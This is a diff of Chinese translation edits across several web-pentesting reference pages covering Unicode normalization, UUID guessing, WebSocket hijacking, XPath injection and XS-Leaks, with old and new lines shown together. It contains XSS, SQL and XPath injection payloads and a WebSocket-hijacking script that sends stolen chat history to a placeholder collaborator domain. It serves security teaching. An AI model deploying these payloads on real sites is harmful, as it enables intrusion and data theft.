这个漏洞实际上来自于一位研究人员发现的漏洞,想要更深入的解释请查看[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
|
||||
|
||||
## Emoji注入
|
||||
|
||||
后端在**接收表情符号**时表现得有些奇怪。这就是在[**这篇文章**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)中发生的情况,研究人员成功地通过一个有效载荷实现了XSS,例如:`💋img src=x onerror=alert(document.domain)//💛`
|
||||
|
||||
在这种情况下,错误在于服务器在删除恶意字符后**将UTF-8字符串从Windows-1252转换为UTF-8**(基本上输入编码和转换编码不匹配)。然后这并没有给出一个正确的<,而只是一个奇怪的unicode字符:`‹`\
|
||||
在这种情况下,错误在于服务器在删除恶意字符后**将UTF-8字符串从Windows-1252转换为UTF-8**(基本上输入编码和转换编码不匹配)。然后这并没有给出一个正确的<,而是一个奇怪的unicode字符:`‹`\
|
||||
``所以他们将这个输出**再次从UTF-8转换为ASCII**。这**规范化**了`‹`为`<`,这就是该系统上漏洞能够工作的方式。\
|
||||
发生的事情是:
|
||||
```php
|
||||
|
||||
@ -11,7 +11,7 @@ Unicode 规范化是一个确保字符的不同二进制表示标准化为相同
|
||||
1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则认为它们是规范等价的。
|
||||
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但可以以不同的方式显示。
|
||||
|
||||
有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解,可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。
|
||||
有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解这些技术,可以在 [Unicode.org](https://unicode.org/) 上进行探索。
|
||||
|
||||
### 关于 Unicode 编码的关键点
|
||||
|
||||
@ -41,7 +41,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### **SQL 注入过滤器绕过**
|
||||
|
||||
想象一个网页,它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **在创建** 查询之前,它 **使用 Unicode** 对用户的输入进行 **规范化**。
|
||||
想象一个网页,它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **创建查询之前**,它 **使用 Unicode 规范化** 用户的输入。
|
||||
|
||||
然后,一个恶意用户可以插入一个不同的 Unicode 字符,等同于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**:
|
||||
|
||||
@ -54,9 +54,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
- `1` -- %c2%b9
|
||||
- `=` -- %e2%81%bc
|
||||
- `/` -- %ef%bc%8f
|
||||
- `-`-- %ef%b9%a3
|
||||
- `#`-- %ef%b9%9f
|
||||
- `*`-- %ef%b9%a1
|
||||
- `-` -- %ef%b9%a3
|
||||
- `#` -- %ef%b9%9f
|
||||
- `*` -- %ef%b9%a1
|
||||
- `'` -- %ef%bc%87
|
||||
- `"` -- %ef%bc%82
|
||||
- `|` -- %ef%bd%9c
|
||||
@ -77,9 +77,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
|
||||
### XSS (跨站脚本攻击)
|
||||
### XSS(跨站脚本攻击)
|
||||
|
||||
您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS:
|
||||
您可以使用以下字符之一来欺骗 webapp 并利用 XSS:
|
||||
|
||||
 (2).png>)
|
||||
|
||||
@ -89,7 +89,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### 模糊测试正则表达式
|
||||
|
||||
当后端 **使用正则表达式检查用户输入** 时,**输入** 可能会为 **正则表达式** 进行 **规范化**,但 **不** 会为其 **使用** 的地方进行 **规范化**。例如,在开放重定向或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**。
|
||||
当后端 **检查用户输入的正则表达式** 时,可能会出现 **输入** 被 **规范化** 以适应 **正则表达式**,但 **未** 被 **用于** 的情况。例如,在开放重定向或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**。
|
||||
|
||||
工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息,请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。
|
||||
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
通用唯一标识符 (UUID) 是 **用于唯一标识计算机系统中信息的 128 位数字**。UUID 在需要唯一标识符而无需中央协调的应用程序中至关重要。它们通常用作数据库键,并可以引用各种元素,如文档和会话。
|
||||
通用唯一标识符 (UUID) 是 **用于唯一标识计算机系统中信息的 128 位数字**。在需要唯一标识符而无需中央协调的应用程序中,UUID 是必不可少的。它们通常用作数据库键,并可以引用各种元素,如文档和会话。
|
||||
|
||||
UUID 旨在是唯一的,并且 **难以猜测**。它们以特定格式结构化,分为五组,表示为 32 个十六进制数字。UUID 有不同的版本,每个版本服务于不同的目的:
|
||||
UUID 旨在唯一且 **难以猜测**。它们以特定格式结构化,分为五组,表示为 32 个十六进制数字。UUID 有不同的版本,每个版本服务于不同的目的:
|
||||
|
||||
- **UUID v1** 是基于时间的,包含时间戳、时钟序列和节点 ID(MAC 地址),但可能会暴露系统信息。
|
||||
- **UUID v2** 类似于 v1,但包含针对本地域的修改(使用不广泛)。
|
||||
@ -36,9 +36,9 @@ UUID 旨在是唯一的,并且 **难以猜测**。它们以特定格式结构
|
||||
|
||||
2. **执行**:
|
||||
|
||||
- 攻击者为他们的第一个帐户(\`attacker1@acme.com\`)触发密码重置,并收到一个带有 UUID 的密码重置链接,比如 \`99874128-7592-11e9-8201-bb2f15014a14\`。
|
||||
- 攻击者为第一个帐户(\`attacker1@acme.com\`)触发密码重置,并收到一个带有 UUID 的密码重置链接,例如 \`99874128-7592-11e9-8201-bb2f15014a14\`。
|
||||
- 紧接着,攻击者为受害者的帐户(\`victim@acme.com\`)触发密码重置,然后迅速为第二个攻击者控制的帐户(\`attacker2@acme.com\`)触发。
|
||||
- 攻击者收到第二个帐户的重置链接,带有 UUID,比如 \`998796b4-7592-11e9-8201-bb2f15014a14\`。
|
||||
- 攻击者收到第二个帐户的重置链接,UUID 为 \`998796b4-7592-11e9-8201-bb2f15014a14\`。
|
||||
|
||||
3. **分析**:
|
||||
|
||||
@ -47,18 +47,18 @@ UUID 旨在是唯一的,并且 **难以猜测**。它们以特定格式结构
|
||||
4. **暴力攻击**:
|
||||
|
||||
- 攻击者使用工具生成这两个值之间的 UUID,并通过尝试访问密码重置链接(例如 \`https://www.acme.com/reset/\<generated-UUID>\`)来测试每个生成的 UUID。
|
||||
- 如果 web 应用程序没有充分限制速率或阻止此类尝试,攻击者可以迅速测试范围内的所有可能 UUID。
|
||||
- 如果 web 应用程序没有充分限制速率或阻止此类尝试,攻击者可以快速测试范围内的所有可能 UUID。
|
||||
|
||||
5. **获得访问权限**:
|
||||
|
||||
- 一旦发现受害者密码重置链接的正确 UUID,攻击者可以重置受害者的密码并获得未授权访问其帐户的权限。
|
||||
- 一旦发现受害者密码重置链接的正确 UUID,攻击者就可以重置受害者的密码并获得未授权访问其帐户的权限。
|
||||
|
||||
### 工具
|
||||
|
||||
- 您可以使用工具自动执行三明治攻击:[**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
||||
- 您可以使用扩展 [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248) 在 Burp Suite 中检测这些类型的 UUID。
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
|
||||
|
||||
|
||||
@ -71,7 +71,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
根据 Web 服务器提供的 HTTP 头,可能存在某些漏洞。
|
||||
根据 Web 服务器提供的 HTTP 头,某些漏洞可能存在。
|
||||
|
||||
- [ ] [**Clickjacking**](clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
|
||||
@ -103,7 +103,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
### Files
|
||||
|
||||
允许上传文件的功能可能会存在多种问题。\
|
||||
允许上传文件的功能可能会受到多种问题的影响。\
|
||||
生成包含用户输入的文件的功能可能会执行意外代码。\
|
||||
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
## Proxies
|
||||
|
||||
> [!NOTE]
|
||||
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些代理可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
|
||||
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
@ -71,7 +71,7 @@
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
根据 Web 服务器提供的 HTTP 头,某些漏洞可能存在。
|
||||
根据 Web 服务器提供的 HTTP 头,可能存在某些漏洞。
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
|
||||
@ -103,7 +103,7 @@
|
||||
|
||||
### Files
|
||||
|
||||
允许上传文件的功能可能会面临多种问题。\
|
||||
允许上传文件的功能可能会存在多种问题。\
|
||||
生成包含用户输入的文件的功能可能会执行意外代码。\
|
||||
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
|
||||
|
||||
|
||||
@ -56,8 +56,8 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### MitM websocket 连接
|
||||
|
||||
如果你发现客户端从你当前的本地网络连接到一个 **HTTP websocket**,你可以尝试进行一个 [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)来在客户端和服务器之间执行 MitM 攻击。\
|
||||
一旦客户端尝试连接,你可以使用:
|
||||
如果您发现客户端从您当前的本地网络连接到 **HTTP websocket**,您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
|
||||
一旦客户端尝试连接,您可以使用:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
@ -70,7 +70,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
- **Burp Suite** 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信。
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 扩展** 将允许您通过获取 **history**、设置 **interception rules**、使用 **match and replace** 规则、使用 **Intruder** 和 **AutoRepeater** 更好地管理 Burp 中的 Websocket 通信。
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** 代表 "**WebSocket/Socket.io Proxy**",这个用 Node.js 编写的工具提供了一个用户界面来 **capture、intercept、send custom** 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专门为渗透测试设计的 **interactive websocket REPL**。它提供了一个界面来观察 **incoming websocket messages 和发送新消息**,并提供一个易于使用的框架来 **automating** 这种通信。 
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专门为渗透测试设计的 **interactive websocket REPL**。它提供了一个接口来观察 **incoming websocket messages 和发送新消息**,并提供一个易于使用的框架来 **automating** 这种通信。 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) 是一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 在其他类型的通信/协议中,它提供了一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
|
||||
|
||||
@ -80,15 +80,15 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证,而没有 **CSRF tokens** 或类似的安全措施时,就会出现此漏洞。
|
||||
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时,就会出现此漏洞。
|
||||
|
||||
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,这个连接被视为受害者与应用程序的会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
|
||||
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,这个连接被视为受害者与应用程序会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
|
||||
|
||||
### Simple Attack
|
||||
|
||||
请注意,当 **establishing** 一个 **websocket** 连接时,**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其基于发送的 cookie 的 **websocket** **session**。
|
||||
请注意,当 **establishing** 一个 **websocket** 连接时,**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其 **websocket** **session based on the sent cookie**。
|
||||
|
||||
然后,如果 **例如** **websocket** **server** **发送回用户的对话历史**,如果发送了一个带有 "**READY"** 的消息,那么一个 **simple XSS** 建立连接(**cookie** 将 **automatically** 被 **sent** 以授权受害者用户) **sending** "**READY**" 将能够 **retrieve** 对话的 **history**。
|
||||
然后,如果 **例如** **websocket** **server** **发送回用户的对话历史**,如果发送了带有 "**READY"** 的消息,那么一个 **simple XSS** 建立连接(**cookie** 将 **sent** **automatically** 授权受害者用户) **sending** "**READY**" 将能够 **retrieve** 对话的 **history**。
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### 跨源 + 不同子域的 Cookie
|
||||
|
||||
在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者成功地在进行 Websocket 通信的域的 **子域** 中 **执行了任意 Javascript**。因为这是一个 **子域**,所以 **cookie** 被 **发送**,而且因为 **Websocket 没有正确检查 Origin**,因此可以与其通信并 **窃取其中的令牌**。
|
||||
在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者成功地 **在进行 Websocket 通信的域的子域中执行了任意 Javascript**。因为这是一个 **子域**,**cookie** 被 **发送**,而且 **Websocket 没有正确检查 Origin**,因此可以与其通信并 **窃取其中的令牌**。
|
||||
|
||||
### 从用户那里窃取数据
|
||||
|
||||
@ -144,7 +144,7 @@ WebSockets 中的竞争条件也是一个问题,[查看此信息以了解更
|
||||
|
||||
## **WebSocket 走私**
|
||||
|
||||
此漏洞可能允许您 **绕过反向代理限制**,使其相信 **websocket 通信已建立**(即使这不是真的)。这可能允许攻击者 **访问隐藏的端点**。有关更多信息,请查看以下页面:
|
||||
此漏洞可能允许您 **绕过反向代理限制**,使其相信 **已建立 websocket 通信**(即使这不是真的)。这可能允许攻击者 **访问隐藏的端点**。有关更多信息,请查看以下页面:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
||||
@ -32,7 +32,7 @@
|
||||
|
||||
谓词用于细化选择:
|
||||
|
||||
- **/bookstore/book\[1]**: 选择 bookstore 元素的第一个 book 元素子元素。对于 IE 版本 5 到 9 的变通方法是通过 JavaScript 将 SelectionLanguage 设置为 XPath,因为它将第一个节点索引为 \[0]。
|
||||
- **/bookstore/book\[1]**: 选择 bookstore 元素的第一个 book 元素子元素。对于 IE 版本 5 到 9 的解决方法是通过 JavaScript 将 SelectionLanguage 设置为 XPath,因为它将第一个节点索引为 \[0]。
|
||||
- **/bookstore/book\[last()]**: 选择 bookstore 元素的最后一个 book 元素子元素。
|
||||
- **/bookstore/book\[last()-1]**: 选择 bookstore 元素的倒数第二个 book 元素子元素。
|
||||
- **/bookstore/book\[position()<3]**: 选择 bookstore 元素的前两个 book 元素子元素。
|
||||
@ -53,7 +53,7 @@
|
||||
|
||||
- **/bookstore/\***: 选择 bookstore 元素的所有子元素节点。
|
||||
- **//\***: 选择文档中的所有元素。
|
||||
- **//title\[@\*]**: 选择所有具有至少一个任意类型属性的 title 元素。
|
||||
- **//title\[@\*]**: 选择所有至少具有一个任意类型属性的 title 元素。
|
||||
|
||||
## 示例
|
||||
```xml
|
||||
@ -156,7 +156,7 @@ string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/accou
|
||||
Select account
|
||||
Select the account using the username and use one of the previous values in the password field
|
||||
```
|
||||
### **滥用空注入**
|
||||
### **滥用空值注入**
|
||||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
|
||||
@ -13,16 +13,16 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
|
||||
- **包含方法**:用于将易受攻击的网页纳入攻击者网站的技术(例如,window.open、iframe、fetch、带 href 的 HTML 标签等)。
|
||||
- **泄漏技术**:用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
|
||||
- **状态**:易受攻击网页的两种潜在条件,攻击者旨在区分。
|
||||
- **可检测差异**:攻击者依赖于的可观察变化,以推断易受攻击网页的状态。
|
||||
- **可检测差异**:攻击者依赖于可观察的变化来推断易受攻击网页的状态。
|
||||
|
||||
### 可检测差异
|
||||
|
||||
可以分析多个方面以区分易受攻击网页的状态:
|
||||
|
||||
- **状态码**:区分 **各种 HTTP 响应状态码** 跨源,如服务器错误、客户端错误或身份验证错误。
|
||||
- **API 使用**:识别 **跨页面的 Web API 使用**,揭示跨源页面是否使用特定的 JavaScript Web API。
|
||||
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
|
||||
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框的数量** 或图像的大小差异。
|
||||
- **API 使用**:识别跨页面的 **Web API 使用情况**,揭示跨源页面是否使用特定的 JavaScript Web API。
|
||||
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还包括由 JavaScript 或 HTML 触发的重定向。
|
||||
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框架的数量** 或图像的大小差异。
|
||||
- **HTTP 头**:注意 **特定 HTTP 响应头** 的存在或可能的值,包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
|
||||
- **时间**:注意两个状态之间的一致时间差异。
|
||||
|
||||
@ -40,11 +40,11 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
|
||||
- **全局限制**:浏览器的物理限制,如内存容量或其他强制的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
|
||||
- **全局状态**:可检测与浏览器 **全局状态**(例如,历史接口)的交互可以被利用。例如,浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
|
||||
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,能够推断请求的资源。
|
||||
- **可读属性**:某些 HTML 属性是 **跨源可读** 的,可以用作泄漏技术。例如,`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
|
||||
- **可读属性**:某些 HTML 属性是 **跨源可读的**,可以用作泄漏技术。例如,`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
|
||||
|
||||
## XSinator 工具与论文
|
||||
|
||||
XSinator 是一个自动工具,用于 **检查浏览器是否存在多种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||||
XSinator 是一个自动化工具,用于 **检查浏览器是否存在多种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||||
|
||||
您可以 **访问该工具** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
@ -136,7 +136,7 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
|
||||
假设您可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
|
||||
|
||||
您可以**让受害者搜索**包含“_**flag**_”的文件,使用**Iframe**(例如利用 CSRF)。在 Iframe 内,您知道 _**onload 事件**_ 将**至少执行一次**。然后,您可以**更改** **iframe** 的**URL**,但只更改 URL 中的**hash**内容。
|
||||
您可以**让受害者搜索**包含“_**flag**_”的文件,使用**Iframe**(例如,利用 CSRF)。在 Iframe 内,您知道 _**onload 事件**_ 将**至少执行一次**。然后,您可以**更改** **iframe** 的**URL**,但仅更改 URL 中的**hash**内容。
|
||||
|
||||
例如:
|
||||
|
||||
@ -228,7 +228,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
{{#endref}}
|
||||
|
||||
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能会暴露敏感信息。
|
||||
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
|
||||
|
||||
> [!WARNING]
|
||||
> 在执行定时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
|
||||
@ -238,10 +238,10 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: 定时(通常由于页面内容、状态码)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** 测量网络操作执行时间的一种方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
|
||||
- **Summary:** 一种测量网络操作执行时间的方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
|
||||
- **Code Example**:
|
||||
|
||||
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的规避**站点隔离**。**站点隔离**是一种安全功能,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行时机,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
|
||||
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全功能,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行定时,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
|
||||
|
||||
> [!WARNING]
|
||||
> 在执行定时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
|
||||
@ -261,9 +261,9 @@ xs-search/connection-pool-example.md
|
||||
浏览器利用套接字进行服务器通信,但由于操作系统和硬件的资源有限,**浏览器被迫施加限制**,限制并发套接字的数量。攻击者可以通过以下步骤利用这一限制:
|
||||
|
||||
1. 确定浏览器的套接字限制,例如,256 个全局套接字。
|
||||
2. 通过向不同主机发起 255 个请求,长时间占用 255 个套接字,旨在保持连接打开而不完成。
|
||||
2. 通过向不同主机发起 255 个请求,长时间占用 255 个套接字,旨在保持连接开放而不完成。
|
||||
3. 使用第 256 个套接字向目标页面发送请求。
|
||||
4. 尝试向另一个主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3),此请求将被排队,直到有套接字可用。此请求进行之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的定时信息。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求目标页面完成所需的时间相关联。
|
||||
4. 尝试向不同主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3),此请求将被排队,直到有套接字可用。此请求进行之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的定时信息。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求完成所需的时间相关联。
|
||||
|
||||
有关更多信息:[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
@ -272,15 +272,15 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: 定时(通常由于页面内容、状态码)
|
||||
- **More info**:
|
||||
- **Summary:** 这与前一种技术类似,但 Google **Chrome** 对**同一源的并发请求**限制为**6 个**。如果我们**阻塞 5 个**,然后**发起第 6 个**请求,我们可以**计时**,如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**,第 **6 个请求**将需要**更长时间**,我们可以检测到它。
|
||||
- **Summary:** 这与前一种技术类似,但 Google **Chrome** 对**同一源的并发请求**设置了**6 个限制**。如果我们**阻塞 5**,然后**发起第 6 个**请求,我们可以**计时**,如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测**页面**的**状态**,第 **6 个请求**将需要**更长时间**,我们可以检测到。
|
||||
|
||||
## Performance API Techniques
|
||||
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时序成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,诸如传输大小和域查找时间等附加数据将变得可用。
|
||||
|
||||
通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法,可以检索到这一丰富的数据,提供全面的性能相关信息。此外,API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于 Chrome 等浏览器中的某些操作,`performance.now()` 的精度可能仅限于毫秒,这可能会影响定时测量的粒度。
|
||||
